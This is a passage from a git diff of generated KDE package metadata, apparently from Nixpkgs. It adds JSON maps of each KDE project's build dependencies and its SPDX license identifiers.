"qtkeychain" + ], + "pimcommon": [ + "akonadi", + "akonadi-contacts", + "akonadi-search", + "extra-cmake-modules", + "kcalendarcore", + "kcmutils", + "kconfig", + "kcontacts", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kimap", + "kio", + "kitemviews", + "kjobwidgets", + "kldap", + "knotifications", + "knotifyconfig", + "kparts", + "kservice", + "ktextaddons", + "ktextwidgets", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libkdepim", + "purpose", + "sonnet" + ], + "plank-player": [ + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdeclarative", + "ki18n", + "kio", + "kjobwidgets", + "knotifications", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "libplasma", + "plasma-workspace", + "solid" + ], + "plasma-activities": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kwindowsystem" + ], + "plasma-activities-stats": [ + "extra-cmake-modules", + "plasma-activities" + ], + "plasma-bigscreen": [ + "kauth", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kio", + "kjobwidgets", + "knotifications", + "kpackage", + "kservice", + "ksvg", + "kwayland", + "kwidgetsaddons", + "kwindowsystem", + "libplasma", + "plasma-activities", + "plasma-activities-stats", + "plasma-workspace", + "plasma5support", + "solid" + ], + "plasma-browser-integration": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kfilemetadata", + "ki18n", + "kio", + "kjobwidgets", + "knotifications", + "krunner", + "kservice", + "kstatusnotifieritem", + "plasma-activities", + "plasma-workspace", + "purpose" + ], + "plasma-camera": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami" + ], + "plasma-desktop": [ + "attica", + "baloo", + "breeze", + "extra-cmake-modules", + "kactivitymanagerd", + "kauth", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kded", + "kfilemetadata", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kio-extras", + "kirigami-addons", + "kitemmodels", + "kitemviews", + "kjobwidgets", + "knewstuff", + "knotifications", + "knotifyconfig", + "kpackage", + "kparts", + "krunner", + "kservice", + "ktextwidgets", + "kunitconversion", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libksysguard", + "libplasma", + "packagekit-qt", + "plasma-activities", + "plasma-activities-stats", + "plasma-integration", + "plasma-workspace", + "powerdevil", + "qqc2-desktop-style", + "selenium-webdriver-at-spi", + "solid", + "sonnet", + "systemsettings", + "wayland", + "wayland-protocols" + ], + "plasma-dialer": [ + "extra-cmake-modules", + "kconfig", + "kcontacts", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "knotifications", + "kpeople", + "kwindowsystem", + "modemmanager-qt", + "wayland" + ], + "plasma-disks": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "knotifications", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "solid" + ], + "plasma-firewall": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kconfig", + "kcoreaddons", + "ki18n" + ], + "plasma-integration": [ + "breeze", + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kjobwidgets", + "knotifications", + "kservice", + "kstatusnotifieritem", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "wayland" + ], + "plasma-mobile": [ + "bluedevil", + "bluez-qt", + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kio", + "kirigami-addons", + "kitemmodels", + "kjobwidgets", + "knotifications", + "kpackage", + "kservice", + "kwayland", + "kwin", + "kwindowsystem", + "libkscreen", + "libplasma", + "milou", + "modemmanager-qt", + "networkmanager-qt", + "plasma-nm", + "plasma-pa", + "plasma-workspace", + "qqc2-breeze-style" + ], + "plasma-nano": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kitemmodels", + "kservice", + "ksvg", + "kwayland", + "kwindowsystem", + "libplasma" + ], + "plasma-nm": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kjobwidgets", + "knotifications", + "kpackage", + "kservice", + "ksvg", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "libplasma", + "modemmanager-qt", + "networkmanager-qt", + "qcoro", + "solid" + ], + "plasma-pa": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcoreaddons", + "kdeclarative", + "kglobalaccel", + "ki18n", + "kirigami-addons", + "kpackage", + "kstatusnotifieritem", + "ksvg", + "libplasma", + "plasma-workspace", + "selenium-webdriver-at-spi" + ], + "plasma-pass": [ + "extra-cmake-modules", + "ki18n", + "kitemmodels", + "libplasma", + "plasma5support" + ], + "plasma-phonebook": [ + "extra-cmake-modules", + "kcontacts", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "kpeople" + ], + "plasma-remotecontrollers": [ + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kio", + "kjobwidgets", + "knotifications", + "kpackage", + "kservice", + "kstatusnotifieritem", + "kwidgetsaddons", + "kwindowsystem", + "libplasma", + "plasma-workspace", + "solid", + "wayland" + ], + "plasma-sdk": [ + "extra-cmake-modules", + "karchive", + "kauth", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kiconthemes", + "kio", + "kitemmodels", + "kjobwidgets", + "kpackage", + "kparts", + "ksvg", + "ktexteditor", + "ktextwidgets", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libplasma", + "plasma5support", + "solid", + "sonnet", + "syntax-highlighting" + ], + "plasma-settings": [ + "extra-cmake-modules", + "kauth", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kirigami-addons", + "kservice", + "libplasma", + "modemmanager-qt", + "networkmanager-qt", + "solid" + ], + "plasma-simplemenu": [ + "extra-cmake-modules", + "ki18n", + "libplasma" + ], + "plasma-systemmonitor": [ + "attica", + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kglobalaccel", + "ki18n", + "kiconthemes", + "kio", + "kirigami-addons", + "kitemmodels", + "knewstuff", + "kpackage", + "kservice", + "kwindowsystem", + "libksysguard" + ], + "plasma-thunderbolt": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "knotifications", + "kservice" + ], + "plasma-vault": [ + "extra-cmake-modules", + "kauth", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kitemmodels", + "kjobwidgets", + "kpackage", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "libksysguard", + "libplasma", + "networkmanager-qt", + "plasma-activities", + "solid" + ], + "plasma-wayland-protocols": [ + "extra-cmake-modules" + ], + "plasma-welcome": [ + "extra-cmake-modules", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "kjobwidgets", + "knewstuff", + "knotifications", + "ksvg", + "kwindowsystem", + "libplasma" + ], + "plasma-workspace": [ + "appstream-qt", + "attica", + "baloo", + "extra-cmake-modules", + "kauth", + "kbookmarks", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdeclarative", + "kded", + "kdesu", + "kfilemetadata", + "kglobalaccel", + "kglobalacceld", + "kguiaddons", + "kholidays", + "ki18n", + "kiconthemes", + "kio", + "kio-extras", + "kirigami-addons", + "kitemmodels", + "kitemviews", + "kjobwidgets", + "knewstuff", + "knotifications", + "knotifyconfig", + "kpackage", + "kparts", + "kpipewire", + "kquickcharts", + "krunner", + "kscreenlocker", + "kservice", + "kstatusnotifieritem", + "ktexteditor", + "ktextwidgets", + "kunitconversion", + "kuserfeedback", + "kwallet", + "kwayland", + "kwidgetsaddons", + "kwin", + "kwindowsystem", + "kxmlgui", + "layer-shell-qt", + "libkexiv2", + "libkscreen", + "libksysguard", + "libplasma", + "milou", + "networkmanager-qt", + "packagekit-qt", + "phonon", + "plasma-activities", + "plasma-activities-stats", + "plasma-nano", + "plasma-wayland-protocols", + "plasma5support", + "polkit-qt-1", + "prison", + "qqc2-desktop-style", + "selenium-webdriver-at-spi", + "solid", + "sonnet", + "wayland", + "wayland-protocols" + ], + "plasma5support": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "knotifications", + "kservice", + "libksysguard", + "libplasma", + "solid" + ], + "plasmatube": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "kitemmodels", + "mpvqt", + "purpose", + "qtkeychain" + ], + "plymouth-kcm": [ + "extra-cmake-modules", + "karchive", + "kauth", + "kcmutils", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kio", + "knewstuff", + "kservice", + "kwidgetsaddons", + "kxmlgui" + ], + "polkit-kde-agent-1": [ + "extra-cmake-modules", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "ki18n", + "kwindowsystem", + "polkit-qt-1" + ], + "powerdevil": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kglobalaccel", + "ki18n", + "kidletime", + "kio", + "kjobwidgets", + "knotifications", + "kservice", + "kwindowsystem", + "kxmlgui", + "libkscreen", + "plasma-activities", + "plasma-workspace", + "solid" + ], + "powerplant": [ + "extra-cmake-modules", + "futuresql", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "qqc2-desktop-style" + ], + "poxml": [ + "extra-cmake-modules", + "kdoctools" + ], + "print-manager": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "knotifications", + "kwidgetsaddons", + "kwindowsystem", + "libplasma" + ], + "prison": [ + "extra-cmake-modules", + "zxing-cpp" + ], + "pulseaudio-qt": [ + "extra-cmake-modules" + ], + "purpose": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kio", + "kirigami", + "kservice" + ], + "qmlkonsole": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "kpty", + "kwindowsystem" + ], + "qqc2-breeze-style": [ + "extra-cmake-modules", + "kcodecs", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kguiaddons", + "kiconthemes", + "kirigami", + "kquickcharts" + ], + "qqc2-desktop-style": [ + "extra-cmake-modules", + "kcolorscheme", + "kiconthemes", + "kirigami", + "sonnet" + ], + "qrca": [ + "extra-cmake-modules", + "kcontacts", + "kcoreaddons", + "ki18n", + "kio", + "kirigami", + "knotifications", + "kservice", + "networkmanager-qt", + "prison", + "purpose" + ], + "raven": [ + "akonadi", + "akonadi-contacts", + "akonadi-mime", + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcoreaddons", + "kdeclarative", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "kitemmodels", + "kldap", + "kmailtransport", + "kmime", + "libkdepim", + "mailcommon", + "messagelib", + "pimcommon" + ], + "rkward": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "knotifications", + "kparts", + "ktexteditor", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "rocs": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kitemviews", + "ktexteditor", + "kxmlgui" + ], + "rolisteam": [ + "extra-cmake-modules" + ], + "rsibreak": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kidletime", + "knotifications", + "knotifyconfig", + "ktextwidgets", + "kwindowsystem", + "kxmlgui" + ], + "ruqola": [ + "breeze-icons", + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kidletime", + "kio", + "kitemviews", + "knewstuff", + "knotifications", + "knotifyconfig", + "kstatusnotifieritem", + "ktextaddons", + "ktextwidgets", + "kuserfeedback", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "prison", + "purpose", + "qtkeychain", + "selenium-webdriver-at-spi", + "sonnet", + "syntax-highlighting" + ], + "samba-mounter": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kconfig", + "ki18n", + "kio", + "solid" + ], + "sddm-kcm": [ + "extra-cmake-modules", + "karchive", + "kauth", + "kcmutils", + "kcoreaddons", + "ki18n", + "kio", + "knewstuff", + "kservice" + ], + "selenium-webdriver-at-spi": [ + "extra-cmake-modules", + "kpipewire", + "kwayland", + "kwin", + "kwindowsystem", + "wayland" + ], + "signon-kwallet-extension": [ + "extra-cmake-modules", + "kwallet" + ], + "skanlite": [ + "extra-cmake-modules", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio", + "kxmlgui", + "libksane" + ], + "skanpage": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "ki18n", + "kirigami", + "kquickimageeditor", + "ksanecore", + "kxmlgui", + "purpose" + ], + "skrooge": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "kjobwidgets", + "knewstuff", + "knotifyconfig", + "kparts", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "plasma-activities" + ], + "smaragd": [ + "kconfig", + "kcoreaddons", + "kdecoration", + "ki18n", + "kwidgetsaddons" + ], + "smb4k": [ + "extra-cmake-modules", + "kauth", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdnssd", + "kdoctools", + "kdsoap", + "kdsoap-ws-discovery-client", + "ki18n", + "kiconthemes", + "kio", + "kjobwidgets", + "knotifications", + "kstatusnotifieritem", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libplasma", + "solid" + ], + "solid": [ + "extra-cmake-modules" + ], + "sonnet": [ + "extra-cmake-modules" + ], + "spacebar": [ + "extra-cmake-modules", + "futuresql", + "kconfig", + "kcontacts", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "knotifications", + "kpeople", + "modemmanager-qt", + "qcoro" + ], + "spectacle": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kio", + "kirigami", + "knotifications", + "kpipewire", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "layer-shell-qt", + "purpose", + "wayland" + ], + "step": [ + "extra-cmake-modules", + "kconfig", + "kcrash", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "knewstuff", + "kplotting", + "ktextwidgets", + "kxmlgui" + ], + "subtitlecomposer": [ + "breeze-icons", + "extra-cmake-modules", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kio", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "sonnet" + ], + "svgpart": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kparts" + ], + "sweeper": [ + "extra-cmake-modules", + "kbookmarks", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "ktextwidgets", + "kxmlgui", + "plasma-activities-stats" + ], + "symboleditor": [ + "extra-cmake-modules", + "kconfig", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui" + ], + "symmy": [ + "extra-cmake-modules", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons" + ], + "syndication": [ + "extra-cmake-modules", + "kcodecs" + ], + "syntax-highlighting": [ + "extra-cmake-modules" + ], + "systemdgenie": [ + "extra-cmake-modules", + "kauth", + "kcrash", + "ki18n", + "kxmlgui" + ], + "systemsettings": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "kitemmodels", + "kitemviews", + "knotifications", + "krunner", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "plasma-activities" + ], + "tellico": [ + "extra-cmake-modules", + "kcoreaddons", + "kcrash", + "kdoctools", + "kfilemetadata", + "ki18n", + "kiconthemes", + "kio", + "kitemmodels", + "knewstuff", + "kparts", + "ktexteditor", + "kxmlgui", + "libkcddb", + "libksane" + ], + "telly-skout": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "ki18n", + "kirigami", + "kirigami-addons" + ], + "threadweaver": [ + "extra-cmake-modules" + ], + "toad": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "kitemmodels", + "kwindowsystem" + ], + "tokodon": [ + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "kitemmodels", + "knotifications", + "kunifiedpush", + "kwindowsystem", + "mpvqt", + "purpose", + "qqc2-desktop-style", + "qtkeychain", + "selenium-webdriver-at-spi" + ], + "trojita": [ + "akonadi-contacts", + "extra-cmake-modules", + "sonnet" + ], + "umbrello": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfig", + "kcoreaddons", + "kcrash", + "kdev-php", + "kdevelop", + "kdevelop-pg-qt", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "ktexteditor", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "upnp-lib-qt": [ + "extra-cmake-modules", + "kdsoap" + ], + "vail": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "knotifications", + "kwindowsystem", + "qqc2-desktop-style", + "qtkeychain" + ], + "vakzination": [ + "kconfig", + "kcoreaddons", + "khealthcertificate", + "ki18n", + "kirigami", + "kitinerary", + "prison" + ], + "vvave": [ + "extra-cmake-modules", + "kconfig", + "ki18n", + "kio", + "knotifications", + "mauikit", + "mauikit-accounts", + "mauikit-filebrowsing" + ], + "wacomtablet": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "kglobalaccel", + "ki18n", + "kio", + "knotifications", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libplasma", + "plasma5support" + ], + "washipad": [ + "extra-cmake-modules" + ], + "xdg-desktop-portal-kde": [ + "extra-cmake-modules", + "kauth", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "kitemviews", + "kjobwidgets", + "knotifications", + "kservice", + "kstatusnotifieritem", + "kwayland", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "solid", + "wayland", + "wayland-protocols" + ], + "xdg-portal-test-kde": [ + "extra-cmake-modules", + "ki18n", + "kio", + "knotifications", + "kwayland" + ], + "xwaylandvideobridge": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "knotifications", + "kpipewire", + "kstatusnotifieritem", + "kwindowsystem" + ], + "yakuake": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kglobalaccel", + "ki18n", + "kiconthemes", + "kio", + "knewstuff", + "knotifications", + "knotifyconfig", + "kparts", + "kstatusnotifieritem", + "kwayland", + "kwidgetsaddons", + "kwindowsystem" + ], + "zanshin": [ + "akonadi", + "akonadi-calendar", + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kontactinterface", + "krunner", + "kwindowsystem" + ] + }, + "version": "56eceecf" +} \ No newline at end of file diff --git a/pkgs/kde/generated/licenses.json b/pkgs/kde/generated/licenses.json new file mode 100644 index 0000000000000..5b3e4359cf94d --- /dev/null +++ b/pkgs/kde/generated/licenses.json @@ -0,0 +1,2873 @@ +{ + "akonadi": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL", + "MIT" + ], + "akonadi-calendar": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "Qt-Commercial-exception-1.0" + ], + "akonadi-calendar-tools": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "Qt-Commercial-exception-1.0" + ], + "akonadi-contacts": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "akonadi-import-wizard": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later" + ], + "akonadi-mime": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "akonadi-notes": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "akonadi-search": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "akonadiconsole": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "akregator": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "LGPL-2.0-or-later", + "Qt-Commercial-exception-1.0" + ], + "alligator": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "analitza": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-or-later" + ], + "angelfish": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "arianna": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "ark": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-or-later", + "MIT" + ], + "artikulate": [ + "BSD-2-Clause", + "CC-BY-SA-4.0", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "attica": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "audiocd-kio": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-3.0-or-later" + ], + "audiotube": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-or-later", + "LicenseRef-KDE-Accepted-GPL" + ], + "baloo": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "bzip2-1.0.6" + ], + "baloo-widgets": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "blinken": [ + "CC0-1.0", + "GFDL-1.2-only", + "GPL-2.0-or-later", + "LicenseRef-SJFonts" + ], + "bluedevil": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "GPL-3.0-or-later", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "bluez-qt": [ + "CC0-1.0", + "LGPL-2.1-only", + "LGPL-2.1-or-later", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "bomber": [ + "BSD-3-Clause", + "CC0-1.0", + "LGPL-2.0-or-later" + ], + "bovo": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "breeze": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "MIT" + ], + "breeze-grub": [ + "BSD-2-Clause", + "CC-BY-SA-4.0", + "Font-exception-2.0", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "breeze-gtk": [ + "BSD-3-Clause", + "CC0-1.0" + ], + "breeze-icons": [ + "CC0-1.0", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-LGPL" + ], + "breeze-plymouth": [ + "BSD-2-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "calendarsupport": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "Qt-Commercial-exception-1.0" + ], + "calindori": [ + "BSD-2-Clause", + "CC-BY-4.0", + "CC-BY-SA-4.0", + "CC0-1.0", + "GPL-3.0-or-later" + ], + "cantor": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "cervisia": [ + "CC0-1.0" + ], + "colord-kde": [ + "CC0-1.0", + "LGPL-3.0-or-later" + ], + "discover": [ + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL", + "MIT" + ], + "dolphin": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.0-only", + "LGPL-2.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "dolphin-plugins": [ + "CC0-1.0", + "GPL-2.0-or-later", + "MIT" + ], + "dragon": [ + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LicenseRef-KDE-Accepted-GPL" + ], + "drkonqi": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-2.0-only", + "GPL-2.0-or-later", + "GPL-3.0-only", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-GPL", + "LicenseRef-KDE-Accepted-LGPL" + ], + "elisa": [ + "BSD-2-Clause", + "BSD-3-Clause", + "CC0-1.0", + "GPL-3.0-or-later", + "LGPL-2.1-only", + "LGPL-3.0-only", + "LGPL-3.0-or-later", + "LicenseRef-KDE-Accepted-LGPL" + ], + "eventviews": 